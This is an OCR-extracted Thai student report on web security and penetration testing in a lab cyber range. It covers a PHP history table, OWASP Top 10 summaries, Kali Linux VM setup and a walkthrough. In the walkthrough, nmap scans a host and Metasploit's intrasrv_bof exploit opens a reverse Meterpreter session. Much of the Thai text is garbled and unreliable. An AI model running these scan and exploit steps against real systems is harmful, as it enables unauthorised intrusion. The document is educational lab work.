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2.1.8.4 Insecure Direct Object References
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Ver. Release Support Note
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1.0 | 8 June 1995 Officially called "Personal Home Page Tools (PHP

Tools)". This is the first use of the name "PHP"

2.0 1 Officially called "PHP/FI 2.0". This is the first release that

November could actually be characterised as PHP, being a standalone

1997
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language with many features that have endured to the

present day.

3.0 | 6June 1998 20 Development moves from one person to multiple
October developers. Zeev Suraski and Andi Gutmans rewrite the
2000 base for this version.
4.0 22 May 23 Added more advanced two-stage parse/execute tag-parsing
2000 January system called the Zend engine.
2001
4.1 10 12 March Introduced 'superglobals'
December 2002 ($_GET, $ POST,$ SESSION, etc.)
2001
4.2 22 April 6 Disabled register_globals by default. Data received over
2002 Septembe the network is not inserted directly into
12002 the global namespace anymore, closing possible security
holes in applications.
4.3 27 31 March Introduced the command-line interface (CLI), to
December 2005 supplement the CGI.
2002
4.4 11 July 7 August | Fixed a memory corruption bug, which required breaking
2005 2008 binary compatibility with extensions compiled against PHP
version 4.3.X.
5.0 13 July 5 Zend Engine Il with a new object model.
2004 Septembe
r 2005
5.1 24 24 Performance improvements with
November August | introduction of compiler variables in re-engineered PHP
2005 2006
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Engine.Added PHP Data Objects (PDO) as a consistent

interface for accessing databases.

52 2 6 January Enabled the filter extension by default.
November 2011 Native JSON support.
2006
53 30 June 14 Namespace support; late static bindings, jump label
2009 August (limitedgoto), closures, PHP archives (phar), garbage
2014 collection for circular references,
improvedWindows support, sqlite3, mysqlnd as a
replacement for libmysql as underlying library for the
extensions that work withMySQL, fileinfo as a
replacement for mime magic for better MIMEsupport, the
Internationalization extension, and deprecation of ereg
extension.
54 1 March 1 March Trait support, short array syntax support. Removed
2012 2015 items: register_globals, safe mode,allow call time pass
_reference, session_register() , session_unregister() and se
ssion_is_registered() . Built-in web server.” Several
improvements to existing features, performance and
reduced memory requirements.
S 20 June 20 June Support for generators, finally blocks for exceptions
2013 2016 handling, OpCache (based on Zend Optimizer+) bundled
in official distribution.
5.6 28 August 28 Constant scalar expressions,variadic functions, argument
2014 August unpacking, new exponentiation operator, extensions of
2017 the usestatement for functions and constants,
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new phpdbg debugger as a SAPI module, and other smaller

improvements.
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o 1 1 1 a3
GluﬂWiTlﬂﬁ@“Ui%‘UUﬁ%@ﬂTi‘ﬂ'] Pentest ﬂ%ﬁﬂ\i‘lﬂiTﬂiWﬂamaﬂﬂ vouAazFo9 Inilu

[

Y
aehals snuazecnels Taeh laqnyiiaal

3.3.1.1 Injection

Injection D ToAANAIANYNI1Z 1A AI9E19FL SQL OS taz LDAP N1519129%

A

Y i1 i 1] [
mavuiietoyai luuniede lagnautiliszurana Yoyavesdlondn ludluiing

o q ¥ 9 Ay MYY KR A YR Y Ay Yo a A
ﬁ']il'lﬁﬂﬂ'ﬂ‘ﬁﬂ']ﬁﬂﬁgifJﬁWﬁﬂlﬂyjﬁﬂlhlllﬂﬂ']\‘]ﬂﬁ ﬁﬁ@!,"ll'm\i"llﬂﬂuﬁﬂﬂﬂ\‘]llﬂ UANHINDU

3.3.1.2 Broken Authentication and Session Management

Y a o { @
Broken Authentication and Session Management WA F 10U NAATUINEITOIA VAT

o Y

ATAOVANTUAZNITIANT session NHAILIL10819 lignAps vz 1A TanAdwnsnda

U

THANIU ﬂfJ ‘Hi@ session tokens Wﬁ@‘l’iaﬁlﬂiu‘ﬂﬂ ?J adaummmm%’ﬂuﬁu

3.3.1.3 Cross-Site Scripting (XSS)
. . . a dy A a @ Yo 9 ~ [ A A [l
Cross-Site Scripting (XSS) Lﬂmummmﬂwam%u"lmwagaﬂ“lmuwmaauazm

9
Joyatiu Iagnnugnaoiodegnaes Xss i landamisaliansiiinanly Browser

=2 =2

vondedagnia session §19 Taodsuudasiuume wSededldam Tufify lad

a

GRIIGIEN

3.3.1.4 Insecure Direct Object References
Insecure Direct Object References wmﬂmmawwwmzﬂmwmmmmqm"lﬂ D97019) 17]68;}:
1 4 [ 4 A 9 ) Y= Aa A 9 =K G
ol iy ia wwdunszd vsegudoya Taelilatimsasisaondnimsdidmie

mM3tloanu

3.3.1.5 Security Misconfiguration
o a . = v A 9 =\ (=1 @
Security Misconfiguration f1© anuilasan amuumwmimm‘nﬂaaﬂnﬂ‘lunﬂ 9

U < ad J
TNV VTSI WI0S
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3.3.1.6 Sensitive Data Expose

9

.. A <] a @ 1A 9 [ A 9 '
Sensitive Data Expose A0 Aunadwanau liinisdlesnudeyanaisdnilowau ay

a =

@ a @ o v YA ~ @ = a g A
UATIATAA iﬁﬁﬂ§$ﬂ1ﬁlﬁlﬁﬂﬂ1y uaﬂmmmmmﬁm Eﬂi]ll@]ﬁﬁll"liﬂ‘uillﬂﬂi@

wagunilastoyaii hilatlesdusdruiivaneriions Instinsinsaa msulueauily

AU HI001TQYINTTUDU 9

3.3.1.7 Missing Function Level Access Control
< a v T
Missing Function Level Access Control Ao mJua1Jwammumu“lwmumnﬁaummgﬂ
Y o w v Jd o J { o 1 Aa 1
doslumsiadinuszavvesiensunounvziilnamisaldauldluaiudaaodls
= A a o Y o A Yy KR ad 4 [ < o [ Y
padnuenamFuapIa LN TunsduFINnes luudazNansuuana 1T ZATAY

mlidlawAannsadesvems 1¥iedduin lildegluszaui lasuansuda

3.3.1.8 Cross-Site Request Forgery (CSRF)
Cross-Site Request Forgery (CSRF) Ao N13 1AM Browser ﬁﬁﬁu%dswuﬁ'uﬂmi
1 )

dams3o9ue HTTP Yaou'liN Browser voundorive 14 Iddoyameinugni tazdoya

q u

a o

an A P
NITUANTIV 11 FOU ‘1/]11“”m%u@ﬁﬂ\ﬂiﬂﬁﬁﬂﬂﬁl"lﬂﬁi uu”lunmmﬂwam%u”lﬂ

U

3.3.1.9 Using Components with Known Vulnerabilities
Using Components with Known Vulnerabilities 84 Alsznouu Libraries, Framework
L3 9

I'4 & A ~ o A [] a o g’z s 1 o
uaﬂu@a%immau 1 NAUUUNTDYUUDNANDIAY fesnlsenouuuised Inivgm

Y
T TowAenansodadsnesinla

3.3.1.10 Unvalidated Redirects and Forwards
3 a Y 1 4
Unvalidated Redirects and Forwards Ai® 1IUL®UNAIATURY redirect ﬁﬂ%'mu'lﬂq HiNau
< 4 { [ 4 { o a U ]
wsa ledoudeteyai lutingetomedaduls lugmataronis Tae'lildnsieaou

Fagy IR TanAannso redirect e linidiivledlaoy wie lmafi Lifigns 14
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332 MIAAAI Kali linux aqlu ion

3.3.2.1 dlalisunsy vm

' VMware Workstation -

Q Type here to search

=] @ My Computer
[# | 7] Master_Cybertron
@ [ Project_COOP
[E3] Game_CTF

3.3.

ivot_Project
A v
3.1 virhan 1sunsu VMWare
- L L L
cti+0
Ctrl+W
o Server... Cirl+L
to L
lize a ical M
to .
p Virtual Disks...
it
| 192.168.1.97
| 192.7168.1.98
| 192.168.1.99
| 192.168.1.200

4 a4
1 3.2 MInunTeaadly VMWare

40



3.3.2.3 129 Typical LALAAN Next

dl

File Edit View VM Tabs | New Virtual Machine Wizard X

Library

Welcome to the New Virtual

Machine Wizard
= | My Computer

= Master_Cybertron
Project_COOP

VMWARE ‘What type of configuration do you want?
= Game_CTF WORKSTATION;
& Pivot_Project PRO (@ Typical (recommended)
& VM

) Create a Workstation 12.0 virtual
L‘ Shared VMs machine in a few easy steps.
192.168.111.1

192.168.1.100 (O custom (advanced)

192.168.1.97 Create a virtual machine with advanced

options, such as a SCSI controller type,
192.168.1.98 virtual disk type and compatibility with
192.168.1.99

older VMware products.

Cancel

—______ v
A a ¥ .
1 3.3 15em)sziammisfaaslu VMWare Workstation

192.168.1.200

3.3.2.4 1800 Installer disc image file (iso) {ta¥ Browse Il image V93 Kali Linux

& “Mware Workstation

] X
File Edit View VM Tabs |New Virtual Machine Wizard X
Library Guest Operating System Installation
A virtual machine is like a physical computer; it needs an operating
Q e here to search systern. How will you install the guest operating system?
=) @ My Computer Install from:
["7] Master_Cybertron nstaller disc:
| 7] Project_COOP
7] Game_CTF Mo drives available
|71 Pivot_Project
Fvm ‘
] Shared VMs
192.168.111.1 (@ Installer disc image file (iso):
192.168.1.100 | E:\iso OS\ubuntu-14.04.4-desktop-i386.is0 ~ | | Browse... |
192.168.1.97 i) Ubuntu 14.04.4 detected.
192.168.1.98 This operating system will use Easy Install. (What's this?)
192.168.1.99 (O) Twill install the operating system later.
192.168.1.200
The virtual machine will be created with a blank hard disk.
Help < Back Next > Cancel
| r . -
A

] H 9
51/ 3.4 don 19§ 150 Nezdads



3.3.2.5 1290 Linux 14ag Ver

‘ ' VMware Workstation

Q Type here to search

= @ My Computer
@ [7] Master_Cybertron
® [ Project_COOP
® [ Game_CTF
# | 7] Pivot_Project
® [vm
[ Shared VMs
E 68.111.1
1.100
a7

33.2.
-]

bertron
 COOP
CTF

t_Project

ed Vi

168.111.1

12.168.1.100
192.168.1.97
192.168.1.98
192.168.1.99
192.168.1.200

New Virtual >

| machine?

4
310 3.51@enszanves

izard

the Virtual Machine .
What name would you like to use for this virtual machine?

Virtual machine name:

rond |

Location:

cL irtual Machines\project -

ion at Edit >

4. q.d d
UM 3.6 lagendoans
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3.3.2.7 MHUAYUIA Disk N

. VMware Workstation
New Virtu
Q Type here to search
= E' My Computer m

@ [ Master_Cybertron
@ [ 7] Project_COOP

# [ Game_CTF

(# [ Pivot_Project

on the host
larger as

ian 8.
= v
L Shared VMs
1111
1.100
L3
4 o Ay
N 3.7 MU UAVUIAVDINU
ine Wizard
to Create Virtual Machine
Click Finish to create the virtual machine. Then you can instal
8.x
The virtual machine will be created with the following settings:
bertron
_COOP Location: L a\D \Wirtual Machines\project
_CTF Version: Workstation 12.0
t_Project Operating System: Debian 8.x
ed VI rd Di: 2
12.168.111.1 mory: 51
92.168.1.100 MnrkAfda ri NA )
192.168.1.97 r Devices: Co/ovD, r, Printer, Sound Card
192.168.1.98
| 192.168.1.99
| 192.168.1.200

P a ¥ < C4
7" 3.8 msAaauaF oAy sl
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3.3.2.9 nA Power On

1l project - VMware Workstation

File Edit View VM Tabs Help

Library

= ™ My Computer
£ | Master_Cybertron
Project_COOP

£ | Game_CTF
H | Pivot_Project
= VM

i‘.S_hared VMs
192.168.111.1
192.168.1.100

X

-

- O X
e ai=k=
[ | project l
ﬁ project
P Power on this virtual machine ~

E'\ Edit virtual machine settings

* Devices
. Memory 512 MB
Il Processors 1
= Hard Disk (SCSI) 20 GB
“yCD/DVD (IDE) Using file EX\is...

192.168.1.97 & Network Adapter NAT
192.168.1.98 USB Controller Present
192.168.1.99 @) sound Card Autéidetect ~ Virtual Machine Details
e @ Printer Present e os e off
= Configuration file: C:\Users\Watchara\D
S Display Auto detect Machines\project\pr:
Hardware compatibility: Workstation 12.0 virt
¥ Describtion e
N L)
A Yy Aa & g g
3'1]7] 3.9 HUIAINAAAUTITALAD
' v
cl 1A Ay lllﬂ Y .
3.3.2.10 lasanaavas 11a3nA Continue
1l project - VMware Workstation - O X

File Edit View VM Tabs Heip | Il ~ | &5

eI all=F=""=T"

Library X

Q,  Type here to search hd

=] g My Computer

[¥3 Master_Cybertron

["71 Project_COOP

[*3 Game_CTF

[¥3 Pivot_Project

=M
[ project

&) Shared VMs
192.168.111.1
192.168.1.100
192.168.1.97
192.168.1.98
192.168.1.99
192.168.1.200

|El dirir:t in[&llu this VM, click inside or press Cirl+G.

project

[!] Configure the network |
Pleaze enter the hostname for this system.

The hostname is a single word that identifies your system to the network. If you don't
know what your hostname should be, consult your network administrator. If you are setting
up your own home network, you can make something up here.

Hostname:

<G0 Back>

<Continue>

QGP=dEd0E| D 4

a 1 A a ¥
317 3.10 ldwe lunsAnas kali
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3.3.2.11 M¥UA Pass azna Continue

)l project - VMware Workstation - m] X
File Edit View VM Tabs Help + em | LD £ | =i 5| E
Libra X X
& project
Ty v
= ™ My Computer
3] Master_Cybertron
£z Project_COOP [!1] Set up users and passwords |
@ Game_CTF B B .
N N You need to set a password for ‘root', the system administrative account. A malicious or
B Pivot_Praject ungualified user with root access can have disastrous results, so you should take care to
& WM choose a root password that is not easy to guess. It should not be a word found in
i dictionaries, or & word that could be easily associated with you.
project
.| Shared VMs f good password will contain @ mixture of letters, numbers and punctuation and should he
192.168.111.1 changed at regular intervals.
192.168.1.100 The root user should not hawe an empty password. If you leave this empty, the root
192.168.1.97 account will be disabled and the system's initial user account will be given the power to
192.168.1.98 become root using the “sudo" command.
192.168.1.99 Note that you will not be able to see the password as you type it.
192.168.1.200
Root password:
<Go Back> <Cont inue>
To direct input to this VM, click inside o press Ctr|+G. REB-dEODE| D
ﬂd‘ nl 1 cl a g’l .
31N 3.11 & password IUN1TAAAN kali
)l project - VMware Workstation =3 m] X
File Edit View VM Tabs Help | Il ~ % ©
x
Library project
Q, Type here to search A

=] Q My Computer

1] Master Cybertron

71 Project_COOP

7 Game_CTF

7 Pivot_Project

VM
[» project

&) Shared VMs
192.168.111.1
192.168.1.100
192.168.1.97
192.168.1.98 S @l s I TS
192.168.1.99
192.168.1.200

1 Installing the system...

Ccopying data to disk...

put to this VM, click inside or press Ctrl+G.

] 9
1 3.12 wihanse Tnandnas kali
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3.3.2.12 naaoums 15311 1d User Pass

Fri 16:19

A P Y 1 &4 a ¥ L3 A P )
jll“ 3.13 TUINIMITLUFISUULNBAAA kali (Y3913 8UIDULLAND

u

9y v
333 YuppumIAuiuaIuilgYl

g o 3 Ao = Yo 9 P v <
mu@lﬂuﬂ@ﬂﬂ’li‘ﬂ’ljﬂi!,‘t]ﬂ°|/luﬂ?’fﬂ‘]&l'lhlﬂ5‘LWilIEJ‘]JWII']‘(’Jﬁ]1ﬂﬂ1ﬂﬂ@jllﬁ1ﬂuﬂﬁ@@ﬂlﬂu 3

Y
ﬂi%‘]J'Juﬂ’liﬂQﬁ T@Suﬂﬁﬂ‘]ﬂ1%3&Lﬁﬂ\i@’)@ﬂ?\?ﬂ1§ﬁ1 penetration test ﬂd‘i'ﬂ NITNATDUIIL
9 9

nuumﬁmﬂmmazeuumuaﬂwUliﬂlnml,mmi’nmwu ﬂuﬁﬂﬂWﬁﬁWﬁ’lﬂQWﬂﬂﬂﬂﬂW 319
A 9 o . A A Ao I 9 ~
11199910903 a¥0IN1391 penetration test H3DA1319132 VY NUIHN Cyber Range 11 uTo1ai

' =< = =2 o A @ o ~ =
1Nﬁ1u13ﬂla]@ﬂﬂu] uﬂﬁﬂBTﬂ\ﬁfl1ﬂ15‘V]ﬂa'ﬂﬁl‘W@UJu@?@ﬂ]ﬂ@@ﬂﬂ"IIﬂflilﬂﬁz‘]J’JUﬂ']ﬁ@nll‘V]

Tanan'ly

3.3.3.1 Planning (YNHNY)
v 9
Tag Scope VOI1U3I 1 @Y ip N 1HITIIMINATOUNUAD 192.168.78.157 AL

M3 check TuA30UTBENS0 11 Taens 14 1a4 ping 192.168.78.157
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root@kali2: ~ (IO -]

File Edit View Search Terminal Help
:~# ping 192.

PING 192.168.78.157 (192. .78.157) 4) bytes of data.
bytes from 192. .78. tt1=128 tim .283
bytes from 192. .78. g=2 ttl=128 tim .576
bytes from 192. .78. : q tt1=128 time=0.993
bytes from 192. .78. C 4 ttl=128 tim .670
bytes from 192. .78. " tt1=128 tim .583
bytes from 192.168.78.157: ic 2 tt1=128 time=0.571

- 192.168.78.157 g -
6 packets transmitt rec g packet lo time 5000ms
i

4
510 3.14 M3 14 ping Tumisasaeuihuine

1 o . A ' A by 7 9 . Y
ABNININIT scan service [NOATIVAOVINUATOUT MU0 U ]S service ﬂzllﬁll']\ulaz

9 9
A3 A0UYFRI 1HIVDY service UL Nanu1Taeg I Idinaludunouasly Tagluns

= [

. X 9 2 y A a4 ' Yo & 2
A329891 service 10IAUUUIE 1HIATOINONGTIN nmap Tagldmraaluns scan A9l

nmap -sV 192.168.78.157 92151 16913 port 22 80 135 1947 Alaeg TasuAaz port Aozl

' v
v

9 9
noiru vosllsunsinined Faziinnlflutuaoude 1

root@kali2: ~ e 00
File Edit View Search Terminal Help

nmap -sV 192.168.78.157

Starting Nmap 7.25BETAl ( https://nmap.org ) at 2016-09-26 15:38 ICT

Nmap scan report for 192.168.78.157

Host is up (0.00057s latency)

Not shown: 996 closed ports

PORT STATE SERVICE VERSION

22/tcp  open ssh Bitvise WinSSHD 7.14 (FlowSsh 7.12; protocol 2.8; non-commercial u|

se)

80/tcp open http intrasrv 1.0

135/tcp open msrpc  Microsoft Windows RPC

1947/tcp open http Aladdin/SafeNet HASP license manager 12.4

1 service unrecognized despite returning da vice/version, p

cgi?new-service :
(6

-Port80-TCP:V=7.25BETA1%I=7%D=9/26%Time=57E8DE8
:etRequest,F3, "HTTP/1\.0\x20404\x20File\x20Not\. /
:trasrvAx201\.0\r\nDate:\x20Thu, \x2001\x20Jan\x201970\x2000: 00 : 00\ r\nCon
x20111\r\nCcntentrtype:\x20text/htm1\l\n\r\n<HTHL
\x20Not\x20Found</TITLE></HEAD>\r\n<B0D

:404 :\x20File\x26Not\x20Found</H2></B0ODY></HTML>\r\n
:st,F3,"HTTP/1\.0\x20404\x20File\x20Not\x20Found\r\nServer 2
:X201\. 0\r\nDate:\x20Thu, \x2001\x20Jan\x201970\x2000:00:00\r\nContent-le
:ngth:\x20111\r\nContent- type:\x20text/html\r\n\ rAn<HTML><HEAD><TITLE>Fi
: 1le\x20Not\x20Found</TITLE></HEAD>\r\n<BODY><H2>HTTP\x20Error\x20404:\x2
:OFile\x20Not\x20Found</H2></BODY></HTML>\r\n") ;

HAF Address: 00:0C:29:AC:C6:DA (VMware)

) e Info: 0S: Windows; CPE: cpe:/o:microsoft:windows

e detection performed. Please report any incorrect results at https

a 3

.‘done: 1 IP address (1 host up) scanned in 8.38 seconds

pr
510 3.15 M5 1% nmap Tumsasr9eoU service
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3.3.3.2 Exploit (191232U1)
g o A A A P,
lusunouineNINAaaLINDIREUUUUNT 193AUDI Hacker 19892 1% tools
. A A 9 &) 2 v oy Ay v g )
metasploit 1413 landnsouihving yuaeuiiszdoniioyai ldanisnounsnu 1%
Taeaz101 version service UDIAIDIUTNHINBMAUMINTFD 11102 15119113 Taydan

9 Y
T Tumisdraesms Taudtvunouaaae 11l

A 2 o &
1. 1WaT1/511n 53 metasploit Yuu Tae 15@1& e msfeonsole

METASPLOIT CYBER MISSILE COMMAND V4

jﬂﬁ 3.16 M3 1% metasploit

2. IN15AUN exploit 130503 113792 191912 11 metasploit 1A 1¥A 189 search Tu

' ] ] 9
A1981992 19 service intrasrv port 80 Miilavg TaoazAU1 exploits AIA 1T IR 111 msf

y o S a A A~ A . 0 &
> search intrasrv 1119411115 search 1a39@9N 1392 ¥0v04 exploits U51n0g 1Y Ao
exploit/windows/http/intrasrv_bof

msf > search intrasrv
[!] Module database cache not built yet, using slow search

Disclosure Date Rank Description

j‘l.lﬁ 3.17 MIAUN exploits Tu metasploit
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v
v W

[ 4 . Y o Y . A A 1 1 A o dy
3. ﬁﬁ\iﬁmﬂllﬂ exploit NWLLﬁ’JﬂZ‘VﬂﬂTiGlGD' exploit “I’Tﬁf)ﬂﬁlﬁ@ﬂ%ﬂ\ﬂﬁ’ﬂﬂEJﬁJﬂW?Nﬂ\TL! msf
> use exploit/windows/http/intrasrv_bof 18211111113 show options OATINFOUAIY
Y v
f09m3v0Aree11al Taslymaa show options

msf > use exploit/windows/http/intrasrv bof

st exploit( ) > show options

Module options (exploit/windows/http/intrasrv bof):

Name Current Setting Required Description
The target address
RPORT 80 yes The remote port
Exploit target:
Id Name

0 v1.0 - XP / Win7

msf exploit( B |

g"ﬂﬁ 3.18 113 use exploit 11 metasploit

9 Y ! v
4. Tuiuaeutazsnms setip taseadvune Taaldmds set RHOST 192.168.78.157

msf exploit( ) > set RHOST 192.168.78.157

RHOST => 192.168.78.157

ﬁﬂﬁ 3.19 M3 set ip 11 metasploit

9 ] ]

5. umpuganioazyiing lawdadhnine Tagldmids exploit iiioriin1s Towd laudad
o 3 = < ' = X g Y
#1159 command prom 9211 a811T U meterpreter AN @1W1Tdav LT nue 1A

o <
a9

msf exploit( ) > exploit

Started reverse TCP handler on 192.168.78.146:4444
192.168.78.157:80 - Sending buffer...
Sending stage (957999 bytes) to 192. S EEIED

] Meterpreter session 1 opened (192.168.78.146:4444 -> 192.168.78.157:1369) at 2016-09-26 16:11:59 +0700

meterpreter >
j‘ﬂﬁ 3.20 m’s“lﬁff’ﬁﬁq exploit Tu metasploit
o . 1 o Ay Y Yo o A =
6. NMINITATIVADUHNYLAYV 1p ’JW]SQﬂ‘]J‘I/IhlﬂMW Taelgaras ipconfig mawmmam"law
H Y
Gli\iﬂﬂﬂulﬁj‘iﬂﬂnaﬂﬂﬂﬂﬂh1ﬁﬂ’ﬂ service HUHANTENUAD ISUUBY NI ULIINT S

amnsonaz TauTond vay Taudadlumseaueq hacker 18
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meterpreter > ipconfig

: MS TCP Loopback interface
Hardware MAC : 00:00:00:00:00:00
MTU : 1520
IPv4 Address : 127.0.0.1

Interface 65539

: VMware Accelerated AMD PCNet Adapter - Packet Scheduler Miniport
Hardware MAC : 00:0c:29:ac:c6:da

IPv4 Address ; 192.168.78.157
IPv4 Netmask : 255.255.255.0

meterpreter >

510 3.21 msldhda asaeaewnseuihviug

3.3.3.3 Report (318914)
o A A o Y o . A g 1 2
msneauLazasiuuzi 19 (Reporting) Avtuaoumsagdaulunaaziuaou
! v Y Y 1 A [ ) [ 1 = Y
Nladeyany 15119 1wy szuulivesIninse lvuihe Tuneaz e Tnalianuiiensaving
1 [ Y 1 1 1A = ~ Y Y
Inu awmaneszuvez 1519 uazuaazreeTvivseszuuliga lvuiaasud lu wazud by

' 3 Y = o 3 o o 31 Y
@EJNVIJL‘]JHGI‘N “]f\iﬂ'li‘i/'lﬁWfJ\ﬂuL‘]JUW’ﬂi]ﬂﬁﬂleENﬂWiﬂﬂﬁ’OﬂL‘iﬂzi%“}JUmﬂﬂ’ﬂqﬂ

o T I 1 '
Tumsihsienunyseenilu 4 mu"lﬁ'uﬂ

- Executive Summary ﬁi’) ANTIWVBINMTINNMITNATOUNZTZUVITY VOUIUAVDS

= 9 a A Y )
\1']1!‘“63‘13“']\1 11Lﬂi?JQE]3‘13U1\‘1GlUﬂTiV]ﬂﬁ@‘Ul"m%ﬁgUUuulﬂﬁ

9 9
- Method topology ﬁf] VUADUUDINITNATOVINZTSUV UL UADLFOI 1WA

[ = gi o 1 I gﬂ
A3zUUNMIRe1d 151119 Hauaeumsvieselsine Tasszuaauiluvruansu

- Detail findings fi® 31982198AvY09%¥09 1IN NUNNYoe I 15119 Fo9 TN

= [ [ lzi 1 L~ 9
‘W“]Jll‘§$WlJﬂ’NiJ“]JaE]@ﬂEJfJQﬂL‘VﬂUlWi Wuau

v
=

1Y A Y o Y v £
- Reference ﬁ@ U NN ﬂumﬂﬂmu NITNATDULIETEUUUULDY
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A ) a 4 J
Unn 4 ﬂ;ﬂﬂamimmmm msnmswmmse{jﬂwamq 9

4.1 HAMIAUUUIIY

4
=1

AN Y (A ua a X A A o J o 2 Y Y 1 I
1nmsn lalfiaauannidnunuien lswesasou sinaluasedllatiTonadriaumiu
[ = o ~ () Y| [ 9 4 g‘./ a o 2
drunilalumsdamsounisuasiunstlosnuniediu lsuesne 4 auvesussEn uaz 1dsau
I o ° s s A
ponuuy Tandn1¥iusg Uy Cyber Range W3oszuudiassgninaa laes el lunisindu

9 (%
oenu azngszuy

=<

[ 4 a oa a a o ' a oa U o
185vdsgaumsailunmsdfiaaueialunion saluszuielfiaauldiTenasauny
o a o [ o d 4
wiinaumelunsin waziiTema lddrsudeassanisdneusuainernsoguindszaunisol
v . . o q Y Yo ya 9 = v 9 o
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Anonymous,HTML [Online].Available:http://en.wikipedia.org/wiki/HTML[2014,July 22].
Anonymous,Cascading Style Sheets

[Online]. Available:http://en.wikipedia.org/wiki/Cascading_Style Sheets[2014,July 22].
Anonymous,JavaScript [Online]. Available:http://en.wikipedia.org/wiki/JavaScript[2014,July
23].

Anonymous,PHP [Online]. Available:http://en.wikipedia.org/wiki/PHP[2014,July 24].
Anonymous,SQL [Online]. Available.http://en.wikipedia.org/wiki/SQL[2014,July 24].
Anonymous,Relational database management system

[Online]. Available:http://en.wikipedia.org/wiki/Relational _database management system[2
014, July 22].

Anonymous,Web Application

[Online]. Available:http://en.wikipedia.org/wiki/Web_application[2014,July 21].
OWASP,Top 10 2013-Top 10

[Online]. Available:https://www.owasp.org/index.php/Top_10_2013-Top_10[2014,July 24].
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